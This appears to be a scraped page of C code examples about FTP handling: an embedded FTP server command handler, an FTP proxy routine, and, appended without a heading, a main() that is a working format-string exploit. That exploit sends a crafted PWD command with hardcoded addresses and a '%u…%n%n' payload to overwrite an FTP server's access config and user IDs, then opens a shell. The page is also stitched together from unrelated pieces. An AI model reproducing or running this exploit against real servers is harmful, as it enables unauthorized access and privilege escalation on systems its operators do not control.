Beispiel #1
0
char proc_ftpd(char * buf)
{
	char **cmdp, *cp, *arg, *tmpstr;
	char sendbuf[200];
	int slen;
	long ret;
	

	/* Translate first word to lower case */
	for (cp = buf; *cp != ' ' && *cp != '\0'; cp++)
		*cp = tolower(*cp);

	/* Find command in table; if not present, return syntax error */
	for (cmdp = commands; *cmdp != NULL; cmdp++)
		if (strncmp(*cmdp, buf, strlen(*cmdp)) == 0)
			break;

	if (*cmdp == NULL)
	{
		//fsprintf(CTRL_SOCK, badcmd, buf);
		slen = sprintf(sendbuf, "500 Unknown command '%s'\r\n", buf);
		send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
		return 0;
	}
	/* Allow only USER, PASS and QUIT before logging in */
	if (ftp.state == FTPS_NOT_LOGIN)
	{
		switch(cmdp - commands)
		{
			case USER_CMD:
			case PASS_CMD:
			case QUIT_CMD:
				break;
			default:
				//fsprintf(CTRL_SOCK, notlog);
				slen = sprintf(sendbuf, "530 Please log in with USER and PASS\r\n");
				send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
				return 0;
		}
	}
	
	arg = &buf[strlen(*cmdp)];
	while(*arg == ' ') arg++;

	/* Execute specific command */
	switch (cmdp - commands)
	{
		case USER_CMD :
#if defined(_FTP_DEBUG_)
			printf("USER_CMD : %s", arg);
#endif
			slen = strlen(arg);
			arg[slen - 1] = 0x00;
			arg[slen - 2] = 0x00;
			strcpy(ftp.username, arg);
			//fsprintf(CTRL_SOCK, givepass);
			slen = sprintf(sendbuf, "331 Enter PASS command\r\n");
			ret = send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
			if(ret < 0)
			{
#if defined(_FTP_DEBUG_)
				printf("%d:send() error:%ld\r\n",CTRL_SOCK,ret);
#endif
				close(CTRL_SOCK);
				return ret;
			}
			break;

		case PASS_CMD :
#if defined(_FTP_DEBUG_)
			printf("PASS_CMD : %s", arg);
#endif
			slen = strlen(arg);
			arg[slen - 1] = 0x00;
			arg[slen - 2] = 0x00;
			ftplogin(arg);
			break;

		case TYPE_CMD :
			slen = strlen(arg);
			arg[slen - 1] = 0x00;
			arg[slen - 2] = 0x00;
			switch(arg[0])
			{
				case 'A':
				case 'a':	/* Ascii */
					ftp.type = ASCII_TYPE;
					//fsprintf(CTRL_SOCK, typeok, arg);
					slen = sprintf(sendbuf, "200 Type set to %s\r\n", arg);
					send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
					break;

				case 'B':
				case 'b':	/* Binary */
				case 'I':
				case 'i':	/* Image */
					ftp.type = IMAGE_TYPE;
					//fsprintf(CTRL_SOCK, typeok, arg);
					slen = sprintf(sendbuf, "200 Type set to %s\r\n", arg);
					send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
					break;

				default:	/* Invalid */
					//fsprintf(CTRL_SOCK, badtype, arg);
					slen = sprintf(sendbuf, "501 Unknown type \"%s\"\r\n", arg);
					send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
					break;
			}
			break;

		case FEAT_CMD :
			slen = sprintf(sendbuf, "211-Features:\r\n MDTM\r\n REST STREAM\r\n SIZE\r\n MLST size*;type*;create*;modify*;\r\n MLSD\r\n UTF8\r\n CLNT\r\n MFMT\r\n211 END\r\n");
			send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
			break;

		case QUIT_CMD :
#if defined(_FTP_DEBUG_)
			printf("QUIT_CMD\r\n");
#endif
			//fsprintf(CTRL_SOCK, bye);
			slen = sprintf(sendbuf, "221 Goodbye!\r\n");
			send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
			disconnect(CTRL_SOCK);
			break;

		case RETR_CMD :
			slen = strlen(arg);
			arg[slen - 1] = 0x00;
			arg[slen - 2] = 0x00;
#if defined(_FTP_DEBUG_)
			printf("RETR_CMD\r\n");
#endif
			if(strlen(ftp.workingdir) == 1)
				sprintf(ftp.filename, "/%s", arg);
			else
				sprintf(ftp.filename, "%s/%s", ftp.workingdir, arg);
			slen = sprintf(sendbuf, "150 Opening data channel for file downloand from server of \"%s\"\r\n", ftp.filename);
			send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
			ftp.current_cmd = RETR_CMD;
			break;

		case APPE_CMD :
		case STOR_CMD:
			slen = strlen(arg);
			arg[slen - 1] = 0x00;
			arg[slen - 2] = 0x00;
#if defined(_FTP_DEBUG_)
			printf("STOR_CMD\r\n");
#endif
			if(strlen(ftp.workingdir) == 1)
				sprintf(ftp.filename, "/%s", arg);
			else
				sprintf(ftp.filename, "%s/%s", ftp.workingdir, arg);
			slen = sprintf(sendbuf, "150 Opening data channel for file upload to server of \"%s\"\r\n", ftp.filename);
			send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
			ftp.current_cmd = STOR_CMD;
			if((ret = connect(DATA_SOCK, remote_ip.cVal, remote_port)) != SOCK_OK){
#if defined(_FTP_DEBUG_)
				printf("%d:Connect error\r\n", DATA_SOCK);
#endif
				return ret;
			}
   			connect_state_data = 0;
			break;

		case PORT_CMD:
#if defined(_FTP_DEBUG_)
			printf("PORT_CMD\r\n");
#endif
			if (pport(arg) == -1){
				//fsprintf(CTRL_SOCK, badport);
				slen = sprintf(sendbuf, "501 Bad port syntax\r\n");
				send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
			} else{
				//fsprintf(CTRL_SOCK, portok);
				ftp.dsock_mode = ACTIVE_MODE;
				ftp.dsock_state = DATASOCK_READY;
				slen = sprintf(sendbuf, "200 PORT command successful.\r\n");
				send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
			}
			break;

		case MLSD_CMD:
#if defined(_FTP_DEBUG_)
			printf("MLSD_CMD\r\n");
#endif
			slen = sprintf(sendbuf, "150 Opening data channel for directory listing of \"%s\"\r\n", ftp.workingdir);
			send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
			ftp.current_cmd = MLSD_CMD;
			break;

		case LIST_CMD:
#if defined(_FTP_DEBUG_)
			printf("LIST_CMD\r\n");
#endif
			slen = sprintf(sendbuf, "150 Opening data channel for directory listing of \"%s\"\r\n", ftp.workingdir);
			send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
			ftp.current_cmd = LIST_CMD;
			break;

		case NLST_CMD:
#if defined(_FTP_DEBUG_)
			printf("NLST_CMD\r\n");
#endif
			break;

		case SYST_CMD:
			slen = sprintf(sendbuf, "215 UNIX emulated by WIZnet\r\n");
			send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
			break;

		case PWD_CMD:
		case XPWD_CMD:
			slen = sprintf(sendbuf, "257 \"%s\" is current directory.\r\n", ftp.workingdir);
			send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
			break;

		case PASV_CMD:
			slen = sprintf(sendbuf, "227 Entering Passive Mode (%d,%d,%d,%d,%d,%d)\r\n", local_ip.cVal[0], local_ip.cVal[1], local_ip.cVal[2], local_ip.cVal[3], local_port >> 8, local_port & 0x00ff);
			send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
			disconnect(DATA_SOCK);
			ftp.dsock_mode = PASSIVE_MODE;
			ftp.dsock_state = DATASOCK_READY;
#if defined(_FTP_DEBUG_)
			printf("PASV port: %d\r\n", local_port);
#endif
		break;

		case SIZE_CMD:
			slen = strlen(arg);
			arg[slen - 1] = 0x00;
			arg[slen - 2] = 0x00;
			if(slen > 3)
			{
				tmpstr = strrchr(arg, '/');
				*tmpstr = 0;
#if defined(F_FILESYSTEM)
				slen = get_filesize(arg, tmpstr + 1);
#else
				slen = _MAX_SS;
#endif
				if(slen > 0)
					slen = sprintf(sendbuf, "213 %d\r\n", slen);
				else
					slen = sprintf(sendbuf, "550 File not Found\r\n");
			}
			else
			{
				slen = sprintf(sendbuf, "550 File not Found\r\n");
			}
			send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
			break;

		case CWD_CMD:
			slen = strlen(arg);
			arg[slen - 1] = 0x00;
			arg[slen - 2] = 0x00;
			if(slen > 3)
			{
				arg[slen - 3] = 0x00;
				tmpstr = strrchr(arg, '/');
				*tmpstr = 0;
#if defined(F_FILESYSTEM)
				slen = get_filesize(arg, tmpstr + 1);
#else
				slen = 0;
#endif
				*tmpstr = '/';
				if(slen == 0){
					slen = sprintf(sendbuf, "213 %d\r\n", slen);
					strcpy(ftp.workingdir, arg);
					slen = sprintf(sendbuf, "250 CWD successful. \"%s\" is current directory.\r\n", ftp.workingdir);
				}
				else
				{
					slen = sprintf(sendbuf, "550 CWD failed. \"%s\"\r\n", arg);
				}
			}
			else
			{
				strcpy(ftp.workingdir, arg);
				slen = sprintf(sendbuf, "250 CWD successful. \"%s\" is current directory.\r\n", ftp.workingdir);
			}
			send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
			break;

		case MKD_CMD:
		case XMKD_CMD:
			slen = strlen(arg);
			arg[slen - 1] = 0x00;
			arg[slen - 2] = 0x00;
#if defined(F_FILESYSTEM)
			if (f_mkdir(arg) != 0)
			{
				slen = sprintf(sendbuf, "550 Can't create directory. \"%s\"\r\n", arg);
			}
			else
			{
				slen = sprintf(sendbuf, "257 MKD command successful. \"%s\"\r\n", arg);
				//strcpy(ftp.workingdir, arg);
			}
#else
			slen = sprintf(sendbuf, "550 Can't create directory. Permission denied\r\n");
#endif
			send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
			break;

		case DELE_CMD:
			slen = strlen(arg);
			arg[slen - 1] = 0x00;
			arg[slen - 2] = 0x00;
#if defined(F_FILESYSTEM)
			if (f_unlink(arg) != 0)
			{
				slen = sprintf(sendbuf, "550 Could not delete. \"%s\"\r\n", arg);
			}
			else
			{
				slen = sprintf(sendbuf, "250 Deleted. \"%s\"\r\n", arg);
			}
#else
			slen = sprintf(sendbuf, "550 Could not delete. Permission denied\r\n");
#endif
			send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
			break;

		case XCWD_CMD:
		case ACCT_CMD:
		case XRMD_CMD:
		case RMD_CMD:
		case STRU_CMD:
		case MODE_CMD:
		case XMD5_CMD:
			//fsprintf(CTRL_SOCK, unimp);
			slen = sprintf(sendbuf, "502 Command does not implemented yet.\r\n");
			send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
			break;

		default:	/* Invalid */
			//fsprintf(CTRL_SOCK, badcmd, arg);
			slen = sprintf(sendbuf, "500 Unknown command \'%s\'\r\n", arg);
			send(CTRL_SOCK, (uint8_t *)sendbuf, slen);
			break;
	}
	
	return 1;
}
Beispiel #2
0
void * ftpprchild(struct clientparam* param) {
 int i=0, res;
 unsigned char *buf;
 unsigned char *se;
 int status = 0;
 int inbuf;
 int pasv = 0;
 SOCKET sc = INVALID_SOCKET, ss = INVALID_SOCKET, clidatasock = INVALID_SOCKET;
 SASIZETYPE sasize;
 char * req = NULL;
 struct linger lg;
 struct pollfd fds;

 if(!(buf = myalloc(BUFSIZE))) RETURN(876);
 param->ctrlsock = param->clisock;
 param->operation = CONNECT;
 lg.l_onoff = 1;
 lg.l_linger = conf.timeouts[STRING_L];;
 if(socksend(param->ctrlsock, (unsigned char *)"220 Ready\r\n", 11, conf.timeouts[STRING_S])!=11) {RETURN (801);}
 for(;;){
	i = sockgetlinebuf(param, CLIENT, buf, BUFSIZE - 10, '\n', conf.timeouts[CONNECTION_S]);
	if(!i) {
		RETURN(0);
	}
	if(i<4) {RETURN(802);}
	buf[i] = 0;
	if ((se=(unsigned char *)strchr((char *)buf, '\r'))) *se = 0;
	if (req) myfree (req);
	req = NULL;

	if (!strncasecmp((char *)buf, "OPEN ", 5)){
		if(parsehostname((char *)buf+5, param, 21)){RETURN(803);}
		if(param->remsock != INVALID_SOCKET) {
			so._shutdown(param->remsock, SHUT_RDWR);
			so._closesocket(param->remsock);
			param->remsock = INVALID_SOCKET;
		}
		if((res = (*param->srv->authfunc)(param))) {RETURN(res);}
		param->ctrlsocksrv = param->remsock;
		if(socksend(param->ctrlsock, (unsigned char *)"220 Ready\r\n", 11, conf.timeouts[STRING_S])!=11) {RETURN (801);}
		status = 1;
	}
	else if (!strncasecmp((char *)buf, "USER ", 5)){
		if(parseconnusername((char *)buf +5, param, 0, 21)){RETURN(804);}
		if(!status){
			if((res = (*param->srv->authfunc)(param))) {RETURN(res);}
			param->ctrlsocksrv = param->remsock;
		}
		if(socksend(param->ctrlsock, (unsigned char *)"331 ok\r\n", 8, conf.timeouts[STRING_S])!=8) {RETURN (807);}
		status = 2;

	}
	else if (!strncasecmp((char *)buf, "PASS ", 5)){
		param->extpassword = (unsigned char *)mystrdup((char *)buf+5);
		inbuf = BUFSIZE;
		res = ftplogin(param, (char *)buf, &inbuf);
		param->res = res;
		if(inbuf && inbuf != BUFSIZE && socksend(param->ctrlsock, buf, inbuf, conf.timeouts[STRING_S])!=inbuf) {RETURN (807);}
		if(!res) status = 3;
		sprintf((char *)buf, "%.64s@%.128s%c%hu", param->extusername, param->hostname, (ntohs(param->sins.sin_port)==21)?0:':', ntohs(param->sins.sin_port));
		req = mystrdup((char *)buf);
#ifndef WITHMAIN
		{
			int action, reqbufsize, reqsize;
			reqbufsize = BUFSIZE;
			reqsize = (int)strlen(buf) + 1;
			
			action = handlereqfilters(param, &buf, &reqbufsize, 0, &reqsize);
			if(action == HANDLED){
				RETURN(0);
			}
			if(action != PASS) RETURN(877);
		}
#endif
	}
	else if (status >= 3 && (
			(!strncasecmp((char *)buf, "PASV", 4) && (pasv = 1)) ||
			(!strncasecmp((char *)buf, "PORT ", 5) && !(pasv = 0))
		)){
#ifndef WITHMAIN
		{
			int action, reqbufsize, reqsize;
			reqbufsize = BUFSIZE;
			reqsize = (int)strlen(buf) + 1;
			
			action = handlehdrfilterscli(param, &buf, &reqbufsize, 0, &reqsize);
			if(action == HANDLED){
				RETURN(0);
			}
			if(action != PASS) RETURN(878);
		}
#endif
		if(sc != INVALID_SOCKET) {
			so._shutdown(sc, SHUT_RDWR);
			so._closesocket(sc);
			sc = INVALID_SOCKET;
		}
		if(ss != INVALID_SOCKET) {
			so._shutdown(ss, SHUT_RDWR);
			so._closesocket(ss);
			ss = INVALID_SOCKET;
		}
		if(clidatasock != INVALID_SOCKET) {
			so._shutdown(clidatasock, SHUT_RDWR);
			so._closesocket(clidatasock);
			clidatasock = INVALID_SOCKET;
		}
		if ((clidatasock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {RETURN(821);}
		sasize = sizeof(struct sockaddr_in);
		if(so._getsockname(param->ctrlsock, (struct sockaddr *)&param->sinc, &sasize)){RETURN(824);}
		param->sinc.sin_port = 0;
		if(so._bind(clidatasock, (struct sockaddr *)&param->sinc, sasize)){RETURN(822);}
		if (pasv) {
			if(so._listen(clidatasock, 1)) {RETURN(823);}
			if(so._getsockname(clidatasock, (struct sockaddr *)&param->sinc, &sasize)){RETURN(824);}
			sprintf((char *)buf, "227 OK (%u,%u,%u,%u,%u,%u)\r\n",
				 (unsigned)(((unsigned char *)(&param->sinc.sin_addr.s_addr))[0]),
				 (unsigned)(((unsigned char *)(&param->sinc.sin_addr.s_addr))[1]),
				 (unsigned)(((unsigned char *)(&param->sinc.sin_addr.s_addr))[2]),
				 (unsigned)(((unsigned char *)(&param->sinc.sin_addr.s_addr))[3]),
				 (unsigned)(((unsigned char *)(&param->sinc.sin_port))[0]),
				 (unsigned)(((unsigned char *)(&param->sinc.sin_port))[1])
				);
		}
		else {
			unsigned long b1, b2, b3, b4;
			unsigned short b5, b6;

			if(sscanf((char *)buf+5, "%lu,%lu,%lu,%lu,%hu,%hu", &b1, &b2, &b3, &b4, &b5, &b6)!=6) {RETURN(828);}
			param->sinc.sin_family = AF_INET;
			param->sinc.sin_port = htons((unsigned short)((b5<<8)^b6));
			param->sinc.sin_addr.s_addr = htonl((b1<<24)^(b2<<16)^(b3<<8)^b4);
			if(so._connect(clidatasock, (struct sockaddr *)&param->sinc, sasize)) {
				so._closesocket(clidatasock);
				clidatasock = INVALID_SOCKET;
				RETURN(826);
			}
			sprintf(buf, "200 OK\r\n");
		}
#ifndef WITHMAIN
		{
			int action, reqbufsize, reqsize;
			reqbufsize = BUFSIZE;
			reqsize = (int)strlen(buf) + 1;
			
			action = handlehdrfilterssrv(param, &buf, &reqbufsize, 0, &reqsize);
			if(action == HANDLED){
				RETURN(0);
			}
			if(action != PASS) RETURN(879);
		}
#endif
		if(socksend(param->ctrlsock, buf, (int)strlen((char *)buf), conf.timeouts[STRING_S])!=(int)strlen((char *)buf)) {RETURN (825);}
		status = 4;
	}
	else if (status == 4 && (
		!(strncasecmp((char *)buf, "RETR ", 5) && (param->operation = FTP_GET)) ||
		!(strncasecmp((char *)buf, "LIST", 4) && (param->operation = FTP_LIST))||
		!(strncasecmp((char *)buf, "NLST ", 5) && (param->operation = FTP_LIST)) ||
		!(strncasecmp((char *)buf, "MLSD", 4) && (param->operation = FTP_LIST)) ||
		!(strncasecmp((char *)buf, "APPE ", 5) && (param->operation = FTP_PUT)) ||
		!(strncasecmp((char *)buf, "STOR ", 5) && (param->operation = FTP_PUT))
	)){
		int arg = (buf[4] && buf[5])? 1:0;
		int ressent = 0;


#ifndef WITHMAIN
		{
			int action, reqbufsize, reqsize;
			reqbufsize = BUFSIZE;
			reqsize = (int)strlen(buf) + 1;
			
			action = handlehdrfilterscli(param, &buf, &reqbufsize, 0, &reqsize);
			if(action == HANDLED){
				RETURN(0);
			}
			if(action != PASS) RETURN(880);
		}
#endif
		if(clidatasock == INVALID_SOCKET) { RETURN (829);}
		if(pasv){

			memset(&fds, 0, sizeof(fds));
			fds.fd = clidatasock;
			fds.events = POLLIN;

			res = so._poll (&fds, 1, conf.timeouts[STRING_L]*1000);
			if(res != 1) {
				RETURN(857);
			}
			sasize = sizeof(struct sockaddr_in);
			ss = so._accept(clidatasock, (struct sockaddr *)&param->sinc, &sasize);
			if (ss == INVALID_SOCKET) { RETURN (858);}
			so._shutdown(clidatasock, SHUT_RDWR);
			so._closesocket(clidatasock);
			clidatasock = ss;
			ss = INVALID_SOCKET;
		}
		if(clidatasock == INVALID_SOCKET){RETURN(828);}
		req = mystrdup((char *)buf);
		buf[4] = 0;
		status = 3;
		ss = ftpcommand(param, buf, arg? buf+5 : NULL);
		if (ss == INVALID_SOCKET) {
			so._shutdown(clidatasock, SHUT_RDWR);
			so._closesocket(clidatasock);
			clidatasock = INVALID_SOCKET;
			
			if(socksend(param->ctrlsock, (unsigned char *)"550 err\r\n", 9, conf.timeouts[STRING_S])!=9) {RETURN (831);}
			continue;
		}

		if(socksend(param->ctrlsock, (unsigned char *)"125 data\r\n", 10, conf.timeouts[STRING_S]) != 10) {
			param->remsock = INVALID_SOCKET;
			RETURN (832);
		}
		if(param->srvoffset < param->srvinbuf)while((i = sockgetlinebuf(param, SERVER, buf, BUFSIZE, '\n', 0)) > 3){
			if(socksend(param->ctrlsock, buf, i, conf.timeouts[STRING_S])!=i) {RETURN(833);}
			if(isnumber(*buf) && buf[3] != '-') {
				ressent = 1;
				break;
			}
		}
		sc = param->remsock;
		param->remsock = ss;
		so._setsockopt(param->remsock, SOL_SOCKET, SO_LINGER, (unsigned char *)&lg, sizeof(lg));
		so._setsockopt(clidatasock, SOL_SOCKET, SO_LINGER, (unsigned char *)&lg, sizeof(lg));
		param->clisock = clidatasock;
		res = sockmap(param, conf.timeouts[CONNECTION_S]);
		if(param->remsock != INVALID_SOCKET) {
			so._shutdown (param->remsock, SHUT_RDWR);
			so._closesocket(param->remsock);
		}
		if(param->clisock != INVALID_SOCKET) {
			so._shutdown (param->clisock, SHUT_RDWR);
			so._closesocket(param->clisock);
		}
		param->clisock = param->ctrlsock;
		param->remsock = sc;
		sc = INVALID_SOCKET;
		ss = INVALID_SOCKET;
		clidatasock = INVALID_SOCKET;
		if(!ressent){
			while((i = sockgetlinebuf(param, SERVER, buf, BUFSIZE, '\n', conf.timeouts[STRING_L])) > 3){
				if(socksend(param->ctrlsock, buf, i, conf.timeouts[STRING_S])!=i) {RETURN(833);}
				if(isnumber(*buf) && buf[3] != '-') break;
			}
			if(i < 3) {RETURN(834);}
		}
	}
	else {
		if(status < 3) {
			if(socksend(param->remsock, (unsigned char *)"530 login\r\n", 11, conf.timeouts[STRING_S])!=1) {RETURN (810);}
			continue;
		}
		if(!strncasecmp((char *)buf, "QUIT", 4)) status = 5;
		if(!strncasecmp((char *)buf, "CWD ", 4)) req = mystrdup((char *)buf);
		i = (int)strlen((char *)buf);
		buf[i++] = '\r';
		buf[i++] = '\n';
		if(socksend(param->remsock, buf, i, conf.timeouts[STRING_S])!=i) {RETURN (811);}
		param->statscli += i;
		param->nwrites++;
		while((i = sockgetlinebuf(param, SERVER, buf, BUFSIZE, '\n', conf.timeouts[STRING_L])) > 0){
			if(socksend(param->ctrlsock, buf, i, conf.timeouts[STRING_S])!=i) {RETURN (812);}
			if(i > 4 && isnumber(*buf) && buf[3] != '-') break;
		}
		if(status == 5) {RETURN (0);}
		if(i < 3) {RETURN (813);}
	}
	sasize = sizeof(struct sockaddr_in);
	if(so._getpeername(param->ctrlsock, (struct sockaddr *)&param->sinc, &sasize)){RETURN(819);}
	if(req && (param->statscli || param->statssrv)){
		(*param->srv->logfunc)(param, (unsigned char *)req);
	}
 }

CLEANRET:

 if(sc != INVALID_SOCKET) {
	so._shutdown(sc, SHUT_RDWR);
	so._closesocket(sc);
 }
 if(ss != INVALID_SOCKET) {
	so._shutdown(ss, SHUT_RDWR);
	so._closesocket(ss);
 }
 if(clidatasock != INVALID_SOCKET) {
	so._shutdown(clidatasock, SHUT_RDWR);
	so._closesocket(clidatasock);
 }
 sasize = sizeof(struct sockaddr_in);
 so._getpeername(param->ctrlsock, (struct sockaddr *)&param->sinc, &sasize);
 if(param->res != 0 || param->statscli || param->statssrv ){
	(*param->srv->logfunc)(param, (unsigned char *)((req && (param->res > 802))? req:NULL));
 }
 if(req) myfree(req);
 if(buf) myfree(buf);
 freeparam(param);
 return (NULL);
}
void main(int argc, char **argv)
{
  struct sockaddr_in addr;
  int sockfd,i;
  long port=21,*addrptr;
  char c, name[100],pass[100],buf[1024];

  /* SET DEFAULTS */
  
  strcpy(name,"ftp");
  strcpy(pass,"*****@*****.**");

  while((c = getopt(argc,argv,"hn:p:c:")) != EOF)
  {
    switch(c)
    {
        case 'h':
            usage(argv[0]);
        case 'n':
            strncpy(name,optarg,100);
            break;
        case 'p':
            strncpy(pass,optarg,100);
            break;
        case 'c':
            port = atol(optarg);
    }
  }

  if((argc - optind) != 1) usage(argv[0]);

  bzero(&addr, sizeof(struct sockaddr_in));
  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);
  addr.sin_addr.s_addr = resolve(argv[optind++]);

  printf("Connecting....."); 

  if((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1)
  {
    printf("failed\n");
    perror("socket");
    exit(-1);
  }

  if(connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0)
  {
    printf("failed\n");
    perror("connect");
    exit(-1);
  }

#ifdef DEBUG
  sockfd = fileno(stdout);
#endif

  wait_msg(sockfd);
  printf("success\n");

  printf("Logging in <%s>:<%s>\n",name,pass);
  ftplogin(sockfd,name,pass); 

  strcpy(buf,"PWD aaaa");
  /* Overwrite config to allow writing 
   * 0x0187e608: session.anon_config, bad char in 0x0187e60a
   * DenyAll is at 0x1885f01 on the box i used for testing 
   * It just f***s up the string -> DenyAll isn't found -> default is AllowAll
   */
  buf[8]  = 0x01;
  buf[9]  = 0x88;
  buf[10] = 0x5f;
  buf[11] = 0x01;
  /* session.disable_idswithing is at 0x187e5ca */
  buf[12] = 0x01;
  buf[13] = 0x87;
  buf[14] = 0xe5;
  buf[15] = 0xca;
  /* Ugly, Ugly / didn't feel like counting :-) */
  strncpy(buf+16,"%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u",NUM);
  strcpy(buf+16+NUM,"%n%n\r\n");
  write(sockfd,buf,strlen(buf));

    sleep(1);

  /* 0x0187e5cc: session.uid*/
  buf[8]  = 0x01;
  buf[9]  = 0x87;
  buf[10] = 0xe5;
  buf[11] = 0xcc;
  buf[12] = 0x01;
  buf[13] = 0x87;
  buf[14] = 0xe5;
  buf[15] = 0xce;
  write(sockfd,buf,strlen(buf));

  /* 0x187e5d0: session.ouid */
  buf[8]  = 0x01;
  buf[9]  = 0x87;
  buf[10] = 0xe5;
  buf[11] = 0xd0;
  buf[12] = 0x01;
  buf[13] = 0x87;
  buf[14] = 0xe5;
  buf[15] = 0xd2;
  write(sockfd,buf,strlen(buf));

  /* LIST switches uid to session.ouid to bind to port 20 (ftp-data - privelidged port) */
  write(sockfd,"LIST\r\n",6);

  /* LIST returns error "No data connection" */
  do{      
    read(sockfd,buf,sizeof(buf));
  }while(strstr(buf,"connection") == NULL);

  printf("Opening shell-connection\n");
  shell(sockfd);

  printf("THE END\n");
  close(sockfd);
}